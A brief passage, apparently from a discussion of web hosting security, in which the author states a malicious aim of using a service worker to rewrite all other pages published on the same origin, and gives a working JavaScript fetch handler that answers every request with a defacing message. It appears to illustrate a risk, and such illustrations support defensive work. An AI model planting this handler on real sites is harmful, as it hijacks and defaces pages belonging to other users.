The (malicious) goal I had in mind with service workers is to rewrite all other published pages:

  self.addEventListener('fetch', event => {
    event.respondWith(
      new Response('<h1>I murder kittens for fun</h1>', {
        headers: {
          'Content-Type': 'text/html; charset=utf-8'
        }
      })    
    );
  })
